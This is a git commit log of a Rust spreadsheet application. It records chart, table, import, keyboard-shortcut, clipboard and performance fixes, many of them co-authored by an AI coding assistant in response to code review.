Compare commits

...
Author SHA1 Message Date
Francisco Herreraandalosslessdev 1fb191571b Charts: draw every doughnut series as a ring (#1827)
* Charts: draw every doughnut series as a ring (#1827)

* Charts: submit doughnut hole size and first slice angle when the drag ends (#1827)

---------

Co-authored-by: alosslessdev <alosslessdev@users.noreply.github.com>
2026-11-05 05:13:35 +01:00
FredAppsandClaude Opus 5.5 ede12f9da6 About: credits tables fit without side-scrolling and their columns resize (#3320)
* About: credits tables fit without side-scrolling and their columns resize

The Contributors table and the Models table were egui Grids inside a
two-way scroll area: they opened wider than the dialog, so they scrolled
sideways, and Company and Model sat almost touching. Both are now
egui_extras tables. Each column opens at the width of its header and widest
cell, the spare width goes to the text columns (Name; Company and Model),
and every column edge can be dragged. Widening a column grows the table
like a spreadsheet, and only then does it scroll sideways; the header stays
put while the rows scroll. Counts and dates are right-aligned and every
cell is vertically centred.

The sorted column stays highlighted and its direction shows on the
toolbar's sort-order button, so headers no longer reserve room for an
arrow. The opening widths come from fit_widths, a pure function with unit
tests that a fitted table fills its room exactly and that only the text
columns give way when room is short.

The About dialog opens 820 points wide, so every column fits at its natural width.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* Let every credits column be dragged, and refit changed tables

The last column was egui's remainder column, which has no drag handle, so
it could only be resized from the edge before it. It is now an ordinary
column with its own handle.

A table keeps its column widths, so switching to a longer name left the
Name column at its old width and clipped the text. The table now goes
back to the opening fit whenever that fit changes: a longer widest cell
or a resized window. Dragged widths are dropped at that point.

fit_widths could overflow the room when one column hit the minimum,
because the other columns did not take up its share. Columns now give
way in proportion to their width above the minimum.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* Refit credits tables on what they measure, not the fitted widths

Comparing the fitted widths missed the case it was meant for. Name is the
only growing column, so a longer name takes its extra width from the
spare room and the fit comes out the same: a dragged Name width stayed,
clipping the longer name.

It could also drop dragged widths by accident. The fit comes from the
available width inside the scroll area, which scrolling can nudge, so
scrolling a widened table could reset it.

The table now compares the natural widths and the clip rect's width,
which scrolling does not move.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 04:33:46 +01:00
FredApps 642980b724 Merge pull request #481 from prxnvt/pr/form-controls
Form controls: buttons, sliders and spin buttons, with Assign Action, Format Control and XLSX round trip
2026-11-05 04:16:46 +01:00
FredApps 73fad54671 Merge origin/main into pr/form-controls 2026-11-05 04:05:43 +01:00
skylar taylor-barrick 919a6b58fe Merge pull request #2203 from Higgs32584/fix/2181-link-open-confirmation
link: require confirmation for programmatic link.open (#2181)
2026-11-05 00:30:08 +01:00
skylar taylor-barrick e8bdd0efd6 Merge pull request #2527 from RedBearAK/xml-node-cap
XLSX: the XML element cap counts only elements kept in the tree
2026-11-05 00:29:00 +01:00
Dylan M. Taylor 3162ac09f3 Pass the Linux signing key to the release workflow (#3380) 2026-11-04 17:45:51 -05:00
prxnvt b9595ccdec Merge origin/main into pr/form-controls
Conflicts:
- crates/xlsx/src/read.rs: main's names.unique() kept with this branch's
  (sheet, read_controls) result from read_sheet.
- crates/ui-egui/tests/it/keytips_generated.rs: regenerated with
  cargo xtask keytips from the merged keytips.json (413 sequences).
- docs/file-format-parity.md, docs/ui-parity.md: header and revision
  history keep main's entries and this branch's form-controls entries.
2026-11-04 13:01:54 -05:00
Dylan M. Taylor 632e4a1bc5 formula, calc: LET/LAMBDA names looked up through a map; ragged array literals refused before reserving (#3312) 2026-11-03 22:57:52 -05:00
Dylan M. Taylor e5f6fa8197 ui-egui: reference colours through a map; cap fill-character repeats per cell (#3311) 2026-11-03 22:57:23 -05:00
Dylan M. Taylor f77ed98cdb chart: a series without values takes no category-span entries (#3300) 2026-11-03 22:56:56 -05:00
Dylan M. Taylor 22c5dfe0df engine: protected sheets gate filter reapply, outline, line sizes and floating pictures; pivot destination resolved before the structure check; user-limited edit ranges stay locked (#3296) 2026-11-03 22:56:06 -05:00
Dylan M. Taylor cdd3a59dbc Treemap rows keep running aggregates; General-fit width is clamped (#3290) 2026-11-03 22:55:35 -05:00
Dylan M. Taylor bebe7de877 engine: cap header and footer sections at 64 KiB when fields expand (#3284)
The 10,000-character header spec was bounded, but each &A, &F or &Z
added the whole sheet name or path again, and a JSON workbook's sheet
name has no length limit. A field that would take a section past
64 KiB is now left out.
2026-11-03 22:55:07 -05:00
Dylan M. Taylor 4421bc6790 engine: weekday fill series moves by whole weeks (#3272)
edit.fillSeries with dateUnit "weekday" stepped one calendar day at a
time, so a large step cost work proportional to its size for every
cell. It now uses add_weekdays, which moves whole weeks arithmetically.
2026-11-03 22:54:17 -05:00
Dylan M. Taylor 017c80572c functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit (#3263)
* functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit

The delimiter matcher compared every delimiter, duplicates included, at
every position of the text. Delimiters are now deduplicated and grouped
by the character a match is anchored on, and a search that would
compare more than 100 million characters returns #VALUE!.

* functions: pass float literals in the delimiter test
2026-11-03 22:53:47 -05:00
Dylan M. Taylor a31178f519 functions: NUMBERVALUE strips trailing percent signs in one pass (#3262)
Each trailing % copied the rest of the text again, so a long run of
them made one call quadratic. The signs are now counted and cut off in
place.
2026-11-03 22:53:18 -05:00
Dylan M. Taylor 184c0ec84d ods: charge a cell's text when the cell is read, not when its row ends (#3257)
The importer kept every cell of a row and only charged their text to
the 64 MiB allowance when the row finished, so one row of long cells
could hold up to 16,384 MiB before being refused. Text is now charged
as each cell finishes; the row charges only its repeats.
2026-11-03 22:52:28 -05:00
Dylan M. Taylor 065f05dbec Security: MODE counts through an index, FREQUENCY bins by binary search (#3198)
* functions: MODE counts through an index, FREQUENCY bins by binary search

MODE/MODE.SNGL/MODE.MULT searched the list of distinct numbers seen so far
for every input, and FREQUENCY scanned the sorted bins for every data value,
so both were quadratic in computed arrays. MODE now keys counts by value
(-0 folded into 0, NaN never merged) and keeps first-occurrence order;
FREQUENCY finds the first bin at or above each value with partition_point
over the order it already sorts. Results are unchanged.

* address review: FREQUENCY keeps NaN data in the overflow bin and NaN bins empty
2026-11-03 22:51:58 -05:00
Dylan M. Taylor db05400e67 calc: list each dependent once when a change spreads (#3190)
* calc: list each dependent once when a change spreads

* calc: check the dependency closure against a walk of every cell

Random graphs of single-cell, narrow and wide range reads (some removed or unsettled), random seeds and changed areas: the closure with shared taken records and area lookups equals the one listing every dependent of every changed cell.
2026-11-03 22:51:29 -05:00
Dylan M. Taylor c0ea297615 calc: cap the text one & over arrays may build in all (#3189)
* calc: cap the text one & over arrays may build in all

* address review: concatenation over arrays stops at the byte budget without reserving the whole broadcast
2026-11-03 22:51:11 -05:00
Dylan M. Taylor 74111e5a93 check: charge relationship parts to the package's decompression budget (#3185)
* check: charge relationship parts to the package's decompression budget

* address review: charge bytes read before a package part decompression error
2026-11-03 22:50:40 -05:00
Dylan M. Taylor 014f030a15 engine: PivotTable filters test each record against a set of selected labels (#3279)
Every source record scanned the filter's whole selection, so a large
selection multiplied by many records was slow even when nothing passed.
Each filter's labels are lowercased into a set once per computation.
2026-11-03 18:10:48 -05:00
Dylan M. Taylor a305229287 PDF export: wrap text with running widths (#3208)
wrap_lines split an over-long word by re-measuring and copying the
rest of the word for every piece it cut, and only checked its line
limit once the word was done, so one long word in a narrow text box
cost word length x pieces. Each new word also re-measured the whole
line built so far.

Line and piece widths are now running sums of glyph widths (the same
sum text_width makes), so every character is measured once, and the
line limit is checked while a word is being split. The lines produced
are unchanged; a test compares them with the old wrapper.
2026-11-03 16:11:47 -05:00
Dylan M. Taylor df137b8ee8 xlsx: repair repeated sheet names through a set of assigned names (#3211)
Importing a workbook whose sheets share a name rescanned every sheet for
every suffix tried, so a file of repeated names opened in cubic time.
SheetNames keeps the assigned names and the next suffix per stem.
2026-11-03 10:53:20 -05:00
Higgs32584andClaude Opus 5.5 e12b462b90 Port the link.open confirmation check into the merged insert.rs (#2181)
Upstream folded cmd/insert/*.rs back into insert.rs, so the merge left
the policy check in a file that is no longer compiled. Restore that file
to upstream and apply the check in the live open_link.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 10:45:50 -05:00
Brandon Thomas ed2347782d Merge PR #3252 (author's fix: an expanded formula bar leaves room for the worksheet)
# Conflicts:
#	crates/ui-egui/src/formula_bar.rs
2026-11-03 10:00:05 -05:00
Brandon ThomasandClaude Opus 5.5 865a789c73 Review fixes for #3223, #3253, #3254, #3252, #3239, #3244 and #3268
- #3223: sniff the first 64 KiB for a web page and skip JSON and files over the text-import cap, so
  every CSV/TSV is no longer decoded in full before the size check.
- #3253: SYLK relative offsets use checked arithmetic (no overflow on R[9223372036854775807]); at
  most 1024 column-width records are kept; regression test.
- #3254: a single selected merged cell searches the whole sheet, as one selected cell does.
- #3252: the formula bar's height cap is half the room below the ribbon, not half the window, so
  the worksheet stays visible in a short window (CodeRabbit Major).
- #3239, #3244, #3252, #3268: es/de/cs/zh/ko/ru/pt entries for the new interface strings.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 09:59:27 -05:00
Brandon Thomas 166234eff0 Merge PR #3268 2026-11-03 09:55:39 -05:00
Brandon Thomas 6c386f79ed Merge PR #3252 2026-11-03 09:55:39 -05:00
Brandon Thomas 5ae7ecfab9 Merge PR #3244 2026-11-03 09:55:39 -05:00
Brandon Thomas 0081e4f29e Merge PR #3239 2026-11-03 09:55:38 -05:00
Brandon Thomas ebf762a03a Merge PR #3254 2026-11-03 09:55:38 -05:00
Brandon Thomas 3bdfa6ed71 Merge PR #3253 2026-11-03 09:55:38 -05:00
Brandon Thomas d906bcbb6f Merge PR #3223 2026-11-03 09:55:38 -05:00
Brandon Thomas d7b53fcc20 Merge PR #3267 2026-11-03 09:55:37 -05:00
Brandon Thomas 31156f7949 Merge PR #3251 2026-11-03 09:55:37 -05:00
Brandon Thomas 502fac89fa Merge PR #3237 2026-11-03 09:55:37 -05:00
Brandon Thomas 56cc52eb39 Merge PR #3250 2026-11-03 09:55:37 -05:00
Brandon Thomas a6b7cf5c2a Merge PR #3243 2026-11-03 09:55:37 -05:00
Brandon Thomas 85f09f05d6 Merge PR #3240 2026-11-03 09:55:36 -05:00
Brandon Thomas cb4b7af1e3 Merge PR #3229 2026-11-03 09:55:36 -05:00
Brandon Thomas 0670337908 Merge PR #3231 2026-11-03 09:55:36 -05:00
Brandon Thomas 2e27cbbf05 Merge PR #3226 2026-11-03 09:55:36 -05:00
Brandon Thomas 0a12da6e52 Merge PR #3221 2026-11-03 09:55:36 -05:00
Brandon Thomas 5ff51dd142 Merge PR #3219 2026-11-03 09:55:36 -05:00
Brandon Thomas affae49e7c Merge PR #3216 2026-11-03 09:55:36 -05:00
Brandon Thomas 89d658406e Merge PR #3238 2026-11-03 09:55:36 -05:00
Brandon Thomas a10d220cea Merge PR #3234 2026-11-03 09:55:35 -05:00
Brandon Thomas b148f06e9c Merge PR #3228 2026-11-03 09:55:35 -05:00
Brandon Thomas b5d888d3cc Merge PR #3225 2026-11-03 09:55:35 -05:00
Brandon Thomas 76145982c5 Merge PR #3217 2026-11-03 09:55:35 -05:00
Hector VillarrealandClaude Opus 5.5 1a7fa68376 #1246: an expanded formula bar leaves room for the worksheet
Addresses review comment 4456174694: the drag/expand cap was half the
window, so in a 400 pt window a ~195 pt bar left the grid about 1.6 pt
under the status bar and sheet tabs. The cap is now also limited by
the room left under the ribbon, keeping the status bar, sheet tabs,
column headings and two rows below the bar.

Test: ui-egui formula_bar_expand::an_expanded_formula_bar_leaves_room_for_the_worksheet_in_a_short_window.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 08:52:05 -06:00
Higgs32584andClaude Opus 5.5 fe062f57a6 Refuse synthetic control-channel input as OK in Open Hyperlink (#2181)
A ui.key Enter or ui.click on OK reached egui as ordinary input and
could confirm the openLink prompt. A pass that carries synthetic input
now keeps the prompt open and opens nothing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 09:48:20 -05:00
Higgs32584 94dd42ba31 Merge upstream main into fix/2181-link-open-confirmation 2026-11-03 09:45:59 -05:00
Hector VillarrealandClaude Opus 5.5 72a9c5b47d #2120: test that clearing notes and links keeps Allow Edit Ranges
Addresses the follow-up in review 5753664551: the protection test had
no range exception, so a regression that refused locked notes and
links inside an Allow Edit Range would have passed. The new test
clears a link in a range without a password, is refused a note in a
password range, then clears both once that range is unlocked.

Test: engine tests::clearing_links_and_notes_keeps_allow_edit_ranges.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 08:21:50 -06:00
Hector VillarrealandClaude Opus 5.5 dfb3b1224b #2120: clearing links and notes respects sheet protection
Addresses review comment 4455670315:

- Clear Hyperlinks and Clear Comments removed links and notes on
  locked cells of a protected sheet: protection compares stored cells
  only, so their removal went unseen (for stored cells too, and now
  for unstored ones since the whole range is cleared). `clear` now
  refuses a locked cell's note or link with locked_cell_error, which
  keeps Allow Edit Ranges and session-unlocked ranges.
- A removed note or link on a cell with nothing stored wasn't added
  to the changed cells, so a recorded macro's footprint missed it.

Tests: engine tests::clearing_links_and_notes_respects_sheet_protection,
tests::clearing_links_and_notes_records_their_cells.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 08:08:07 -06:00
Hector VillarrealandClaude Opus 5.5 58e876a4d8 #2120: Remove Hyperlink clears links on cells with nothing stored
Addresses review comment 4455436875: `clear` clipped each range to the
sheet's used range (stored cells) before removing links and notes, so
a link from a file on an empty cell outside it was left in place, and
nothing was removed on a sheet with no cells. Notes and links are now
cleared over the whole range; cells and merges still only within the
used range.

Test: engine tests::clear_hyperlinks_removes_links_on_cells_with_nothing_stored.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 07:52:14 -06:00
Daniele MoriandClaude Opus 5.5 d976bbdcba Point mode: keep the sheet qualifier when pointing with the arrow keys
point_move wrote a bare reference, so on another sheet Shift+arrow after a header
drag turned 'Other sheet'!B:D into B:E, which reads as the formula's own sheet.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 14:48:29 +01:00
Daniele MoriandClaude Opus 5.5 ee6b9fdcee Options: keep the active row's band visible on a faded page
In Page Layout view the "Click to add data" pages are faded after their cells are
painted, which all but hid the band on them. The band goes on again over the fade.
Tests also cover Page Layout view and frozen panes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 14:31:35 +01:00
Daniele MoriandClaude Opus 5.5 b3bce6cc81 Point mode: Shift+arrow after a header drag moves the dragged end
After a drag over C:E, point_cell held C and no anchor was set, so Shift+Right
moved the wrong end and gave D:E. The drag now records the pointer's end as the
moving one and the opposite corner as the anchor, so it gives C:F, and rows work
the same way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 14:28:35 +01:00
Hector VillarrealandClaude Opus 5.5 2caf435a38 #2012: split a parsed sheet-qualified name at the last !, sheet as is
Addresses review comments 4455115540 and 4455115557. The parser stores
`'Sheet'!Name` as `Sheet!Name` with the sheet already unquoted:

- Evaluator::name split it at the first `!`, so a series named
  `'a!b'!Title` showed #NAME?.
- chart_name unquoted it again, trimming spaces, so a chart reference
  to `' Sales '!Data` was saved as `Sales!Data`.

Both now split at the last `!` and look the sheet up as is.

Tests: chart tests::a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves,
xlsx tests::chart_book_names::chart_names_keep_spaces_around_a_quoted_sheet_name.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 07:21:22 -06:00
Daniele MoriandClaude Opus 5.5 38a7067ca2 Options: highlight the active cell's row, as a global preference
On a wide table the eye loses its place following a row from the active
cell. File > Options > General gets "Highlight the active cell's row", off
by default: a tint across the whole row of the active cell, over the fills
and under the text, in Normal and Page Layout views. It is a preference for
every sheet and workbook, so nothing goes into the file, the workbook does
not become dirty and there is no undo step.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 13:59:41 +01:00
Daniele MoriandClaude Opus 5.5 f4f69beec2 Point mode: dragging over row or column headers extends the reference
A press on a header while a formula waits for a reference inserted C:C, but the
drag that followed did nothing, so dragging from column C to E left C:C. The drag
now follows the pointer, as it does over cells, in either direction and for rows
too, keeping the sheet qualifier, the earlier arguments of a Ctrl press and the
far end of a Shift press.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 13:45:53 +01:00
Dylan M. Taylor 92cdc2a975 xlsx: rename repeated table headers without retrying handed-out suffixes (#3213)
table_columns restarted its suffix search at 2 for every duplicate
header, lowercasing and hashing every candidate already in use, so a
table of repeated headers was exported in quadratic time. The next
suffix to try is now remembered per lowercased base.
2026-11-03 06:45:15 -05:00
Hector ViovandClaude Opus 5.5 fe6ab7c5c0 #3101: clear the tab bar's cached rectangles when a control is hidden
Addresses review comment 4453674677: after a frame drew both controls,
turning off the horizontal scroll bar or the sheet tabs left
app.grid.hscroll / app.grid.tab_split holding the old rectangles.
sheet_tabs now clears both before any visibility return.

Test: tab_split::hiding_the_controls_clears_their_cached_rectangles
toggles both options on one live harness.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 05:02:44 -06:00
Hector VillarrealandClaude Opus 5.5 2bdec6c0a1 #941: a window hidden while parked drops its key tip request; parity row names the badge-less keys
Addresses CodeRabbit review on #3250:
- "Clear parked keytip requests when their window becomes hidden": a
  window hidden from another window (View › Hide while it isn't in
  front) kept the request it had parked, and showing it again opened
  the control. follow_active_window now drops the waiting request of
  every parked window that is hidden.
- "Correct the no-badge description in the parity table": only Alt+I,
  D, V and T (no ribbon tab) paint no badges.

Test: legacy_keytips::a_window_hidden_from_another_window_drops_its_parked_request.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 04:44:40 -06:00
Hector VillarrealandClaude Opus 5.5 533c0dadaf #2225: a field that only looks quoted keeps the tabs and line breaks in it
Addresses CodeRabbit review on #3231, "Reparse consumed separators when a
field is not quoted": parse_tsv read "a<TAB>b"x as one quoted field,
then fell back to its raw text without the separator it had consumed,
so the cells "a, b"x and c pasted back as two. The new copy (which no
longer quotes a cell holding only a quote) makes that text. A field
whose closing quote doesn't end it, or that never closes, is now read
again as unquoted text, so its tabs and line breaks separate cells.
The text read again is bounded by the input's length, so hostile input
stays linear.

Test: a_field_that_is_not_really_quoted_keeps_its_separators.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 04:19:49 -06:00
Hector VillarrealandClaude Opus 5.5 68e87f0a68 #941: a hidden window drops its waiting key tip request
Addresses CodeRabbit review on #3250, "Clear deferred key-tip requests
when parking a hidden window": a hidden window isn't drawn, so a request
it parked would fire whenever it was shown again (the Symbol gallery
opening long after the keys). Parking a hidden window now drops it; the
rest of its interface state is kept.

Test: legacy_keytips::a_hidden_window_drops_its_waiting_key_tip_request.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 04:01:25 -06:00
Hector VillarrealandClaude Opus 5.5 2adfd5571f #1786: ink is translucent by its width in points, while drawn and once committed
Addresses CodeRabbit review on #3229, "Use the same translucency
threshold as committed ink": the preview judged the pen by its width in
points, the committed stroke by its width on screen, so at 50% a 12 pt
highlighter turned opaque once committed and at 200% a 6 pt pen turned
translucent. Both now use chartview::ink_color, which goes by the
stroke's width in points, so the two agree and neither changes with
the zoom.

Test: ink_render::ink_translucency_follows_the_pen_not_the_zoom.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 03:58:23 -06:00
Hector VillarrealandClaude Opus 5.5 d964c1cb66 #941: a waiting key tip request stays with the window that made it
Addresses CodeRabbit review on #3250, "Keep deferred requests with their
window": the request waiting for the next frame was shared across
windows, so the root window, drawn first, could take a second window's
Alt+I, S. It is now parked with each window's interface state and moved
into the one-frame request when that window's ui begins.

Test: legacy_keytips::a_waiting_key_tip_request_stays_with_its_window.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 03:39:43 -06:00
Hector VillarrealandClaude Opus 5.5 9ce599d978 #941: a control key tip expands a collapsed ribbon before it opens the control
Addresses CodeRabbit review on #3250, "Expand the ribbon for a same-tab
control request": with the Insert tab chosen but the ribbon collapsed,
Alt+I, S went to the same-tab branch and the Symbol gallery was never
drawn. A collapsed ribbon is now expanded like a tab switch, and the
request waits for the frame that draws the control.

Test: legacy_keytips::alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 03:25:52 -06:00
Hector VillarrealandClaude Opus 5.5 3c72d5f7aa #3224: Find and Replace within the selected range
edit.find and edit.replace take within: selection, which searches only
the selected cells; Find Next then moves the active cell through them
and keeps the range selected, as Excel does. The Find and Replace
dialog uses it whenever more than one cell is selected (Excel searches
a selected range; one selected cell still means the whole sheet).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 03:05:18 -06:00
Hector VillarrealandClaude Opus 5.5 6fcb94f7e3 #941: Alt+I, S opens the Symbol gallery instead of re-setting the active cell
Addresses CodeRabbit review on #3250, "Open a symbol picker instead of
re-parsing the cell": the legacy key ran insert.symbol with no symbol,
which set the active cell to its own text again (re-reading it: text
could turn into a number, a Python cell lost its code). It now routes to
the ribbon's Symbol control: a control key tip whose control is on
another tab shows that tab first and hands the request to the next
frame, when the control is drawn, and the Symbol button opens its
gallery on its key tip. Nothing is inserted until a symbol is picked.

Test: legacy_keytips::alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone
(keytips regenerated with cargo xtask keytips).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 03:03:58 -06:00
adifiedio e56a722bb4 Clipboard: refuse oversized pasted pictures before copying their pixels; document paste as desktop-only (#699) 2026-11-03 14:25:14 +05:30
Hector VillarrealandClaude Opus 5.5 94b4f6a3a2 #1481: open SYLK (.slk) files
A small reader for the SYLK text format: cell values (numbers, text,
booleans, errors), formulas converted from R1C1 to A1 as Excel does
(relative/absolute references, ranges, whole rows and columns, shared
formulas) with their cached results, number formats (P / F;P) and
column widths (F;W). Import only; saving as .slk says so. The sheet is
named after the file, and damaged records are skipped with a warning.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 02:51:39 -06:00
adifiedio ac27137cd8 Clipboard: paste a picture from the system clipboard at the active cell (#699)
Cmd/Ctrl+V dropped egui's PasteImage event, and the ribbon/menu Paste only read
text, so screenshots and images copied in a browser reported "Nothing to paste".
Both now encode the pixels as PNG (bounded to 16384 px per side, 64 Mpx) and run
insert.picture as a floating picture anchored at the active cell, as Excel does.
Text on the clipboard still wins. New host service: Services::paste_image (arboard).

Fixes #699, #3018, #3182.
2026-11-03 14:14:34 +05:30
Hector VillarrealandClaude Opus 5.5 dea1359c7e #1246: drag the formula bar's bottom edge to resize it
The bottom edge of the formula bar is a resize handle: dragging it sets
the height in whole lines (up to half the window; one line collapses
the bar). Expanding again (the chevron, Ctrl+Shift+U) returns to the
dragged height instead of a fixed five lines. The drag previews live
and commits once through view.expandFormulaBar {lines}, which is also
scriptable; the height is kept with the UI preferences.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 02:41:57 -06:00
Hector VillarrealandClaude Opus 5.5 3c0749e685 #941: Excel 2003 menu access keys (Alt+I, R; Alt+D, S; ...)
Adds 43 legacy sequences to keytips.json (Insert, Edit, Format, Data,
View, Tools menus and File > Page Setup), each running the command or
dialog the modern key tip already uses. Alt+I, D, V and T are implicit
levels with no ribbon tab; badges are not painted under them, as in
Excel. The generator checks Options (a Backstage page) by its page.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 02:31:45 -06:00
Hector VillarrealandClaude Opus 5.5 f9edafa800 #2120: a linked cell's menu edits, opens or removes its link
Right-clicking a cell with a link only offered "Link…", whose dialog was
titled Insert Hyperlink, so changing a link wasn't obvious. As in Excel,
the cell menu of a linked cell now offers Edit Hyperlink… (the same
dialog, filled with the link and titled Edit Hyperlink), Open Hyperlink
(as clicking the link: a reference selects its cell, a web or e-mail
address asks first) and Remove Hyperlink (edit.clearHyperlinks). A cell
without a link keeps "Link…".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:59:12 -06:00
Hector VillarrealandClaude Opus 5.5 a774d18350 #3089: the personal-information flag's doc names the XLSX writer
Addresses CodeRabbit review on #3238, "Limit the remove_personal_info
doc comment to XLSX saves": only the XLSX writer leaves out the author
and company; the workbook's own serialization still holds them. The
comment now says so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:53:43 -06:00
Hector VillarrealandClaude Opus 5.5 e89ba799e9 #2012: chart names and macro examples unquote sheet names like formulas do
Three places still split a `Sheet!Name` reference and stripped the
sheet's quotes by hand: the chart resolver (is a series name a defined
name?), the XLSX chart writer (the name's cache) and the macro editor's
example references. The first two left a doubled quote in the name, so
a series named `'Bob''s'!Title` (a name on the sheet "Bob's") wasn't
found and showed that text instead of the name's value; they also split
at the first `!`, so a quoted sheet holding one broke. All three now use
core's split_sheet, the one reading formulas use.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:49:01 -06:00
adifiedio 56f0679fed Frozen panes: test the scrolled freeze-handle drag and the frozen text's painted extent (#2544)
Review follow-up: a column-handle drop on the last frozen column while
scrolled, which fails if freeze_boundary measures with x(c + 1), and a check
that frozen A1's text lies inside its clip, not only that the clip is A1.
2026-11-03 13:13:29 +05:30
Hector VillarrealandClaude Opus 5.5 c35ab0f4f4 #1482: every Paste Special option has its Excel access key
Paste Special only knew the letters F, V, T, C and E. Excel gives every
option one: A (All), N (Validation), X (All except borders), W (Column
widths), R (Formulas and number formats), U (Values and number formats);
O, D, S, M, I for the operations; B for Skip blanks; and L for the
Paste Link button, which pastes at once. One table now maps each letter
to what it does; Enter still pastes with the chosen options.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:41:55 -06:00
Hector VillarrealandClaude Opus 5.5 846cc09d67 #3101: show or hide the sheet tabs and scroll bars of a workbook
Excel can hide the sheet tabs, the horizontal scroll bar and the
vertical scroll bar of a workbook window (File › Options › Advanced ›
Display options for this workbook), saved with the workbook. GridCraft
already read and wrote these settings (#3057) but always showed all
three, and had no command or option for them.

New commands view.showSheetTabs, view.showHorizontalScrollBar and
view.showVerticalScrollBar {on?} (toggling without `on`, undoable,
saved with the workbook), and a "Display options for this workbook"
section in File › Options. The tab bar follows them: without the tabs
the scroll bar takes the bar, without the scroll bar the tabs do, and
with neither the bar isn't shown; without the vertical scroll bar the
grid takes its width.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:37:34 -06:00
Hector VillarrealandClaude Opus 5.5 48c52e14af #3166: a web page opens after a leading comment and keeps its non-breaking spaces
Addresses CodeRabbit review on #3223:
- "Skip leading HTML comments before the prefix check": a page starting
  with an exporter's <!-- comment --> was read as CSV text. Complete
  leading comments are now skipped before looking for the page's start.
- "Preserve nonbreaking spaces in HTML text imports": split_whitespace
  turned New&nbsp;&nbsp;York into "New York". The decoded cell text is
  used as is (ordinary whitespace is already collapsed), so the
  non-breaking spaces stay, as Excel keeps them.

Test: a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:36:40 -06:00
Hector VillarrealandClaude Opus 5.5 f0557ec443 #3089: keep "remove personal information on save" and honour it
Excel's per-workbook privacy setting (Trust Center › Privacy Options ›
Remove personal information from file properties on save, set by the
Document Inspector) is saved as <workbookPr filterPrivacy="1"/>, and
while it is on Excel leaves the author and company empty on save.
GridCraft dropped the attribute, so a cleaned workbook came back with
the setting off, and it wrote the author and company back.

Workbook.remove_personal_info now keeps the setting (read and written
as filterPrivacy), and while it is on the writer leaves dc:creator and
Company out. Other properties are written as before. Note authors and
lastModifiedBy are the rest of the issue (the latter overlaps #881).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:25:29 -06:00
adifiedio 17f733a81e Frozen panes: frozen columns keep their text, gridlines and borders while scrolling (#2544)
The grid took a column's right edge to be where the next column starts,
`x(col + 1)`. At the freeze line the next column is in the scrolled pane
and moves with the scroll, so everything measured that way inside the
frozen columns shrank as the sheet scrolled right:

- text overflowing from a frozen cell was clipped at the scrolled
  column's edge, until only a character or two showed;
- the frozen columns' gridlines stopped short, with a stray vertical
  line drawn inside them;
- a merged range's borders under the last frozen column ended early;
- the freeze handle measured the last frozen column wrongly when
  dropped while scrolled.

Geo gains `x_end`/`y_end` (a column's or row's own far edge) and
`same_col_pane`, and every such measurement uses them. Text overflows
only into empty cells of its own pane. In Page Layout view the
gridlines now stop at each page's last column instead of running into
the margin.

Fixes #2544
2026-11-03 12:55:11 +05:30
Hector VillarrealandClaude Opus 5.5 914a76a9d8 #1442: Ctrl+. skips hidden corners and stays inside the selected area
Addresses CodeRabbit review on #3226, "Skip hidden corner destinations"
and "Keep merged destinations inside the selected area": with column D
hidden, Ctrl+. on B2:D3 made D2 active; with B1:C1 merged and column C
selected, it made B1 active, outside the selection. A corner in a hidden
row or column, or one whose merged cell starts outside the selected
area, is now passed over like a locked corner on a protected sheet.

Test: next_corner_skips_hidden_corners_and_stays_inside_the_selected_area.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:21:40 -06:00
